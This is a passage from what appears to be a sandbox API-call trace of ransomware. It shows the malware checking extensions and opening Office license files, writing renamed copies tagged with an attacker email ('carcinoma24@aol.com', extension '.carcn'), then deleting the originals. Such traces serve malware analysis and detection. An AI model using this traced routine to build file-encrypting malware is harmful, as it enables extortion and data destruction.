(lpString1=".rar", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString=".bz2") returned 4 [0287.209] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString=".7z") returned 3 [0287.209] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.209] lstrlenW (lpString=".dbf") returned 4 [0287.209] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.209] lstrlenW (lpString=".1cd") returned 4 [0287.209] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0287.209] lstrlenW (lpString=".jpg") returned 4 [0287.209] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.210] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10659) returned 1 [0287.210] CloseHandle (hObject=0x548) returned 1 [0287.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220 [0287.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.211] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.211] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.212] GetLastError () returned 0x0 [0287.213] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x29a3, lpOverlapped=0x0) returned 1 [0287.214] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0287.216] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.216] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x112, lpOverlapped=0x0) returned 1 [0287.216] SetEndOfFile (hFile=0x530) returned 1 [0287.216] CloseHandle (hObject=0x530) returned 1 [0287.216] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.216] SetEndOfFile (hFile=0x548) returned 1 [0287.220] CloseHandle (hObject=0x548) returned 1 [0287.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1 [0287.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.223] lstrlenW (lpString=".doc") returned 4 [0287.223] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString=".docx") returned 5 [0287.223] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.223] lstrlenW (lpString=".pdf") returned 4 [0287.223] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString=".xls") returned 4 [0287.223] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString=".xlsx") returned 5 [0287.223] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.223] lstrlenW (lpString=".ppt") returned 4 [0287.223] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.223] lstrlenW (lpString=".zip") returned 4 [0287.223] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString=".rar") returned 4 [0287.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.223] lstrlenW (lpString=".bz2") returned 4 [0287.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.224] lstrlenW (lpString=".7z") returned 3 [0287.224] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.224] lstrlenW (lpString=".dbf") returned 4 [0287.224] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.224] lstrlenW (lpString=".1cd") returned 4 [0287.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0287.224] lstrlenW (lpString=".jpg") returned 4 [0287.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.225] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22092) returned 1 [0287.225] CloseHandle (hObject=0x548) returned 1 [0287.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0287.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.226] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.226] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.227] GetLastError () returned 0x0 [0287.227] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x564c, lpOverlapped=0x0) returned 1 [0287.549] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5650, lpOverlapped=0x0) returned 1 [0287.551] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.551] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0287.551] SetEndOfFile (hFile=0x530) returned 1 [0287.551] CloseHandle (hObject=0x530) returned 1 [0287.551] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.551] SetEndOfFile (hFile=0x548) returned 1 [0287.555] CloseHandle (hObject=0x548) returned 1 [0287.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0287.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.556] lstrlenW (lpString=".doc") returned 4 [0287.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".docx") returned 5 [0287.557] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.557] lstrlenW (lpString=".pdf") returned 4 [0287.557] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".xls") returned 4 [0287.557] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".xlsx") returned 5 [0287.557] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.557] lstrlenW (lpString=".ppt") returned 4 [0287.557] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.557] lstrlenW (lpString=".zip") returned 4 [0287.557] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".rar") returned 4 [0287.557] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".bz2") returned 4 [0287.557] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString=".7z") returned 3 [0287.557] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.557] lstrlenW (lpString=".dbf") returned 4 [0287.557] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.557] lstrlenW (lpString=".1cd") returned 4 [0287.557] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0287.558] lstrlenW (lpString=".jpg") returned 4 [0287.558] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.558] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11625) returned 1 [0287.558] CloseHandle (hObject=0x548) returned 1 [0287.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0287.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.559] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.559] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.561] GetLastError () returned 0x0 [0287.561] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d69, lpOverlapped=0x0) returned 1 [0287.564] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0287.565] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.565] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0287.566] SetEndOfFile (hFile=0x530) returned 1 [0287.566] CloseHandle (hObject=0x530) returned 1 [0287.566] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.566] SetEndOfFile (hFile=0x548) returned 1 [0287.569] CloseHandle (hObject=0x548) returned 1 [0287.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0287.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.571] lstrlenW (lpString=".doc") returned 4 [0287.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString=".docx") returned 5 [0287.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.571] lstrlenW (lpString=".pdf") returned 4 [0287.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString=".xls") returned 4 [0287.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString=".xlsx") returned 5 [0287.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.571] lstrlenW (lpString=".ppt") returned 4 [0287.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.571] lstrlenW (lpString=".zip") returned 4 [0287.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString=".rar") returned 4 [0287.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.571] lstrlenW (lpString=".bz2") returned 4 [0287.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.572] lstrlenW (lpString=".7z") returned 3 [0287.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.572] lstrlenW (lpString=".dbf") returned 4 [0287.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.572] lstrlenW (lpString=".1cd") returned 4 [0287.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0287.572] lstrlenW (lpString=".jpg") returned 4 [0287.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.574] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11215) returned 1 [0287.574] CloseHandle (hObject=0x548) returned 1 [0287.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0287.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0287.575] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.575] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0287.576] GetLastError () returned 0x0 [0287.576] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0287.578] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0287.579] ReadFile (in: hFile=0x548, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.579] WriteFile (in: hFile=0x530, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x126, lpOverlapped=0x0) returned 1 [0287.579] SetEndOfFile (hFile=0x530) returned 1 [0287.580] CloseHandle (hObject=0x530) returned 1 [0287.580] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.580] SetEndOfFile (hFile=0x548) returned 1 [0287.583] CloseHandle (hObject=0x548) returned 1 [0287.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0287.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.584] lstrlenW (lpString=".doc") returned 4 [0287.585] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".docx") returned 5 [0287.585] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.585] lstrlenW (lpString=".pdf") returned 4 [0287.585] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".xls") returned 4 [0287.585] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".xlsx") returned 5 [0287.585] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.585] lstrlenW (lpString=".ppt") returned 4 [0287.585] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.585] lstrlenW (lpString=".zip") returned 4 [0287.585] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".rar") returned 4 [0287.585] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".bz2") returned 4 [0287.585] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString=".7z") returned 3 [0287.585] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.585] lstrlenW (lpString=".dbf") returned 4 [0287.585] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.585] lstrlenW (lpString=".1cd") returned 4 [0287.586] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0287.586] lstrlenW (lpString=".jpg") returned 4 [0287.586] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.586] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=21737) returned 1 [0287.586] CloseHandle (hObject=0x548) returned 1 [0287.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0287.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 